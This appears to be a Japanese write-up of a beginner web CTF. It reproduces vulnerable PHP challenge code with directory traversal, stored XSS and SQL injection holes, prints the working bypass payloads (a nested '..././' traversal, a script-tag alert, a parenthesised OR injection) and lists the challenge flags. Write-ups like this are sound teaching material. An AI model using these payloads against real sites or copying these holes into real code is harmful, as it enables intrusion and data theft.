FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
[Web Beginner] DevTools_1
F12を押して開発者ツールを開き、ソースを見るとフラグが書いてありました。
FLAG{you_can_read_html_using_devtools}
[Web Easy] DevTools_2
ページの内容を書き替えればフラグが出てくるようです。
右クリックして検証から手動で書き替えるとalertでフラグが出てきました。
FLAG{you_can_edit_html_using_devtools}
[Web Beginner] Simple Memo
<?php function reader($file) { $memo_dir = "./memos/"; // sanitized $file = str_replace('../', '', $file); $filename = $memo_dir . $file; $memo_exist = file_exists($filename); if ($memo_exist) { $content = file_get_contents($filename); } else { $content = "No content."; } return $content; } ?>
メモを見ることができるサイトです。メモから推測するに../flag.txtにフラグがあるようです。
渡されたreader.phpにディレクトリトラバーサルの脆弱性がありますが、../がサニタイズされています。
このようなサニタイズのときに思い出すのはSQL InjectionでSELECTが空文字列に置き換えられるとき、SELSELECTECTのように間に挟むことでバイパスするテクニックです。
同じように..././flag.txtを送ってみると、フラグを入手することができました。
FLAG{y0u_c4n_get_hi5_5ecret_fi1e}
[Web Normal] striped table
メモを保存ことができるサイトのURLとソースコードが渡され、サイトのHTML内でalert(19640503)を実行するとフラグが手に入るようです。
<?php if (isset($_GET['source'])){ highlight_file(__FILE__); die(); } session_start(); $results = []; if (isset($_SESSION["memos"])) { $results = $_SESSION["memos"]; } function delete_memo($memo) { return $memo["id"] !== $_GET["delete"]; } if (isset($_GET["delete"])) { $results = array_filter($results, "delete_memo"); // インデックスを振りなおす $results = array_values($results); $_SESSION["memos"] = $results; header('Location: /', true, 301); exit; } ?> <?php include( $_SERVER['DOCUMENT_ROOT'] . '/includes/meta-header.php'); ?> <table class="table"> <thead> <tr> <th>ID</th> <th>タイトル</th> <th>メモ</th> <th>削除</th> </tr> </thead> <tbody> <?php foreach ($results as $index => $result) : ?> <?php if ($index % 2 === 0) : ?> <tr> <td><?= $result['id'] ?></td> <td><?= htmlspecialchars($result['title'], ENT_QUOTES) ?></td> <td><?= nl2br(htmlspecialchars($result['memo'], ENT_QUOTES)) ?></td> <td><a href="/?delete=<?= $result['id'] ?>"><button type="button" class="btn btn-danger">削除</button></a></td> </tr> <?php else: ?> <tr style="background-color: #f0f0f0"> <td><?= $result['id'] ?></td> <td><?= htmlspecialchars($result['title'], ENT_QUOTES) ?></td> <td><?= nl2br($result['memo']) ?></td> <td><a href="/?delete=<?= $result['id'] ?>"><button type="button" class="btn btn-danger">削除</button></a></td> </tr> <?php endif; ?> <?php endforeach; ?> </tbody> </table> <?php include( $_SERVER['DOCUMENT_ROOT'] . '/includes/footer.php'); ?>
ソースコードを見ると、indexが奇数のときに$result['memo']がエスケープされていません。
一つ目のメモを適当に保存して、二つ目のメモの内容に<script>alert(19640503)</script>
と入れるとフラグが手に入りました。
FLAG{simple_cross_site_scripting}
[Web Normal] SQL Challenge 1
<?php //mysqlへ接続する。 $mysqli = new mysqli('mysql', 'wani', 'waniwani', 'test_db'); if ($mysqli->connect_error) { echo $mysqli->connect_error; exit(); } else { $mysqli->set_charset("utf8mb4"); } //urlの"year="の後に入力した文字列を$yearに入れる。 $year = $_GET["year"]; //一部の文字は利用出来ません。以下の文字を使わずにFLAGを手に入れてください。 if (preg_match('/\s/', $year)) exit('危険を感知'); //スペース禁止 if (preg_match('/[\']/', $year)) exit('危険を感知'); //シングルクォート禁止 if (preg_match('/[\/\\\\]/', $year)) exit('危険を感知'); //スラッシュとバックスラッシュ禁止 if (preg_match('/[\|]/', $year)) exit('危険を感知'); //バーティカルバー禁止 //クエリを作成する。 $query = "SELECT * FROM anime WHERE years =$year"; //debug用にhtmlのコメントにクエリを表示させる。 echo "<!-- debug : ", htmlspecialchars($query), " -->\n"; //結果を表示させる。 if ($result = $mysqli->query($query)) { while ($row = $result->fetch_assoc()) { echo '<tr><th>' . $row['name'] . '</th><th>' . $row['years'] . '</th></tr>'; } $result->close(); } ?>
ソースコードから抜粋。' \/|
が禁止されたSQLiです。
PayloadsAllTheThings でスペースの代替を探すと、()を使うといいことがわかります。
?year=(1)OR(1)=(1)--
を実行するとフラグが出てきます。
FLAG{53cur3_5ql_a283b4dffe}
[Web Hard] SQL Challenge 2
<?php //mysqlへ接続する。 $mysqli = new mysqli('mysql', 'wani', 'waniwani', 'test_db'); if ($mysqli->connect_error) { echo $mysqli->connect_error; exit(); } else { $mysqli->set_charset("utf8mb4"); } //urlの"year="の後に入力した文字列を$yearに入れる。 $year = $_GET["year"]; //preg_replaceで危険な記号を処理する。 $pattern = '/([^a-zA-Z0-9])/'; $replace = '\\\$0'; $year = preg_replace($pattern, $replace, $year); //クエリを作成する。 $query = "SELECT * FROM anime WHERE years = $year"; //debug用にhtmlのコメントにクエリを表示させる。 echo "<!-- debug : ", htmlspecialchars($query), " -->\n"; //結果を表示させる。 if ($result = $mysqli->query($query)) { while ($row = $result->fetch_assoc()) { echo '<tr><th>' . $row['name'] . '</th><th>' . $row['years'] . '</th></tr>'; } $result->close(); } ?>
同じく抜粋。今度は英数字以外はバックスラッシュでエスケープされてしまうようです。
適当な文字列を送って反応を見ていると、
?year=0
でフラグが出てきてしまいました。問題ミスでしょうが、申し訳ないなと思いつつフラグを提出しました。
FLAG{5ql_ch4r_cf_ca87b27723}
想定解は恐らくマルチバイト文字を使ってエスケープを回避するのかな...?
追記
yearsがVARCHARになっているので、数値にキャストすれば0になる。という想定解法でした。
(別途スキーマは与えられてました、ちゃんと見ようね)
終わりに
全問ともなるとWriteup書くの大変ですね...問題解くより大変かもしれない。
初心者向けCTFとはいえ全完したのは初めてなので嬉しかったです。
問題もWarmupから一歩進んだ問題も多くありとても面白かったです。